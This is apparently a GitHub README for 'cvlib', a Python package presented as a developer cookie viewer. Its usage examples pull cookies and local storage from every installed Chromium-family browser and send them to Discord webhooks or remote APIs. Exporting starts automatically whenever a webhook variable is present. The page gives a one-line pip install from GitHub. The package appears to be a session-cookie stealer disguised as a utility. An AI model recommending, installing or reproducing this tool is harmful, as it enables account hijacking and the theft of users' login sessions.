Skip to content

ovrlust/cookie-library

Repository files navigation

cvlib

A cross-platform developer utility for viewing and exporting browser cookies and local storage data. Works as a standalone script or as an importable Python library.

Install

pip install git+https://github.com/ovrlust/cookie-library.git

Then use it:

from cvlib import CookieViewer

Quick Start

from cvlib import CookieViewer

viewer = CookieViewer(verbose=True)

# List installed browsers
print(viewer.list_browsers())

# Get cookies from all browsers
cookies = viewer.get_cookies()

# Get local storage from all browsers
ls = viewer.get_local_storage()

# Get everything at once
all_data = viewer.get_all()

# Print formatted report
print(viewer.format_results(all_data))

Output Destinations

The library auto-detects output destinations from your script's variables:

# Just set any of these variables in your script:
webhook_url = "https://discord.com/api/webhooks/..."  # → auto-sends to Discord
output_file = "cookies.txt"                            # → auto-writes to file
api_url = "https://example.com/api/logs"               # → auto-POSTs to API

viewer = CookieViewer()
data = viewer.get_all()
viewer.export(data)  # detects and sends to all of the above

Explicit Outputs

from cvlib import CookieViewer, FileOutput, DiscordOutput, APIOutput

viewer = CookieViewer(outputs=[
    FileOutput("cookies.json", json_mode=True),
    DiscordOutput("https://discord.com/api/webhooks/..."),
    APIOutput("https://example.com/api/logs", headers={"Authorization": "Bearer ..."}),
])

viewer.export_all()  # extract + export in one call

Supported Browsers

Browser macOS Windows Linux
Chrome
Chrome Canary
Edge
Brave
Vivaldi
Opera
Opera GX
Chromium

Standalone Usage

python cvlib.py

License

MIT

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages